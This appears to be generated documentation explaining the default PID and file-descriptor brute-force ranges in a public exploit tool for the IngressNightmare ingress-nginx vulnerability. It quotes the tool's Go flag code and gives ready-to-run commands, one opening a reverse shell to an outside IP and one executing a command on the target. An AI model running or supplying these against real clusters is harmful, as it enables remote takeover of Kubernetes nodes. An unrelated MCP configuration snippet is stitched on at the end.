IngressNightmare Default PID and FD Ranges for Brute-Forcing Explained

IngressNightmare uses default PID range 5-40 and FD range 3-26 when brute-forcing the vulnerable ingress-nginx process, with these values hard-coded in main.go at lines 104-108.

The open-source exploit tool esonhugh/ingressnightmare-cve-2025-1974-exps automates attacks against CVE-2025-1974 by guessing valid process IDs and file descriptors. Understanding the default PID and FD ranges for brute-forcing helps operators estimate scan duration and optimize success rates against target containers.

Default Brute-Force Ranges

IngressNightmare iterates through process identifiers and file descriptors to locate the nginx master process. The tool ships with conservative defaults designed to balance speed against typical container runtime characteristics.

PID Range Defaults

The exploit assumes the target process will fall within a narrow PID window:

• Start: 5 (flag --pid-range-start or -S)
• End: 40 (flag --pid-range-end or -E)

This creates a search space of 35 possible PIDs. The default start value of 5 skips early system processes while capturing most containerized nginx instances that spawn after initialization.

File Descriptor Range Defaults

Once a candidate PID is selected, the tool brute-forces file descriptors using these boundaries:

• Start: 3 (flag --fd-range-start or -s)
• End: 26 (flag --fd-range-end or -e)

This generates 23 FD attempts per PID. The range begins at 3 (skipping stdin, stdout, stderr) and extends through typical open file limits in restricted container environments.

Where the Defaults Are Defined

The default PID and FD ranges are registered as command-line flags in main.go during the initialization of the ExpCmd subcommand. According to the source code at lines 104-108, the flag registration block explicitly sets these integer values:

// Set guessed PID and FD ranges
ExpCmd.Flags().IntVarP(&Opts.PidRangeStart, "pid-range-start", "S", 5, "pid range start")
ExpCmd.Flags().IntVarP(&Opts.PidRangeEnd,   "pid-range-end",   "E", 40, "distance to pid range end")
ExpCmd.Flags().IntVarP(&Opts.FdRangeStart, "fd-range-start", "s", 3, "fd range start")
ExpCmd.Flags().IntVarP(&Opts.FdRangeEnd,   "fd-range-end",   "e", 26, "distance fd range end")

These values populate the Opts structure, which carries the configuration through to the core exploit logic.

How the Exploit Consumes These Ranges

After parsing CLI arguments, main.go passes the configured ranges directly to the Exploit function in nginx-ingress/exploit.go. The function signature accepts both start and end values for both dimensions:

nginx_ingress.Exploit(
    Opts.IngressWebhookUrl, Opts.UploadUrl, payload,
    Opts.FdRangeStart, Opts.PidRangeStart, Opts.FdRangeEnd, Opts.PidRangeEnd,
)

The implementation iterates through every combination of PID and FD within the supplied bounds, attempting to hijack the file descriptor until the payload executes successfully or the ranges exhaust.

Customizing the Ranges via CLI Flags

While the defaults suit standard Kubernetes deployments, operators can override the PID and FD ranges using the short or long flag forms.

Running with default ranges:

./ingressnightmare ingress-nightmare \
  --mode reverse-shell \
  --reverse-shell-ip 10.0.0.5 \
  --reverse-shell-port 4444 \
  --ingress-webhook-url https://target/validate

Specifying custom brute-force boundaries:

./ingressnightmare ingress-nightmare \
  --mode command \
  --command "id > /tmp/pwned" \
  --pid-range-start 10 \
  --pid-range-end 100 \
  --fd-range-start 5 \
  --fd-range-end 50 \
  --ingress-webhook-url https://target/validate

This command expands the search to PIDs 10-100 and FDs 5-50, useful when targeting long-running nodes where nginx might hold a higher process ID than the default window covers.

Summary

• Default PID range: 5 to 40 (controlled by -S and -E flags)
• Default FD range: 3 to 26 (controlled by -s and -e flags)
• Source location: Hard-coded in main.go lines 104-108 when flags are registered
• Consumption: Passed to nginx_ingress.Exploit() in nginx-ingress/exploit.go
• Override method: Use CLI flags to expand or narrow the brute-force window based on target environment characteristics

Frequently Asked Questions

What are the default PID and FD ranges in IngressNightmare?

IngressNightmare defaults to PID range 5-40 and file descriptor range 3-26. These values are set during flag initialization in main.go to target typical containerized nginx processes while minimizing brute-force time.

How can I override the default brute-force ranges?

Supply the appropriate flags when launching the exploit: -S or --pid-range-start for the first PID, -E or --pid-range-end for the last PID, -s or --fd-range-start for the first file descriptor, and -e or --fd-range-end for the last file descriptor.

Why does IngressNightmare use PID 5-40 and FD 3-26 by default?

These ranges reflect common characteristics of containerized ingress-nginx deployments where the controller process spawns shortly after container initialization (PID > 5) and maintains a limited set of open file descriptors (3-26) in restricted Kubernetes security contexts.

Where are the default ranges defined in the source code?

The defaults are defined in main.go at lines 104-108 within the flag registration block for the ingress-nightmare subcommand, specifically in the IntVarP calls that bind the Opts struct fields to command-line arguments.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}